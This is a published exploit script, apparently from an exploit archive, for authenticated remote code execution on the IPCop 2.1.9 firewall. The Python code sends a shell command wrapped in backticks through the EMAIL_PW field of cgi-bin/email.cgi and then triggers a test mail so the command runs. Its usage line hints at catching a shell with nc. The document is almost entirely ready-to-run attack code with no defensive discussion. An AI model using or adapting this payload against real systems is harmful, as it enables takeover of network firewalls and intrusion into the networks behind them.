IPCop 2.1.9 - Remote Code Execution (RCE) (Authenticated)

# Exploit Title: IPCop 2.1.9 - Remote Code Execution (RCE) (Authenticated)
# Date: 02/08/2021
# Exploit Author: Mücahit Saratar
# Vendor Homepage: https://www.ipcop.org/
# Software Link: https://sourceforge.net/projects/ipcop/files/IPCop/IPCop%202.1.8/ipcop-2.1.8-install-cd.i486.iso - https://sourceforge.net/projects/ipcop/files/IPCop/IPCop%202.1.9/ipcop-2.1.9-update.i486.tgz.gpg
# Version: 2.1.9
# Tested on: parrot os 5.7.0-2parrot2-amd64

#!/usr/bin/python3

import requests as R
import os
import sys
import base64
import urllib3

R.packages.urllib3.disable_warnings()
R.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
try:
    R.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
except AttributeError:
    # no pyopenssl support used / needed / available
    pass

try:
    hostport = sys.argv[1]
    assert hostport[:8] == "https://" and hostport[-1] == "/"
    url = hostport + "cgi-bin/email.cgi"
    username = sys.argv[2].encode()
    password = sys.argv[3].encode()
    auth = base64.b64encode(username+b":"+password).decode()
    command = sys.argv[4]
    assert " " in command
except:
    print("[-] Usage https://host:port/ username password command(no spaces) <port for listen with nc - optional - >")
    exit(1)


rheader = {"Authorization":"Basic "+auth,
        "Origin": hostport,
        "Referer": url}

rdata = {
        "EMAIL_SERVER": "mucahitsaratar.github.io",
        "EMAIL_USE_TLS": "auto",
        "EMAIL_SERVER_PORT": "1337",
        "EMAIL_USR": "ipcop@localdomain",
        "EMAIL_PW": f"`{command}`",
        "EMAIL_FROM": "ipcop@localdomainn",
        "EMAIL_TO": "ipcop@localdomainnn",
        "ACTION": "Kaydet" # change here to what is mean the "save && send test mail" in target language
        }


R.post(url,headers=rheader, data=rdata, verify=False)
rdata["ACTION"] = "Test postası gönder" # send test mail
R.post(url,headers=rheader, data=rdata, verify=False)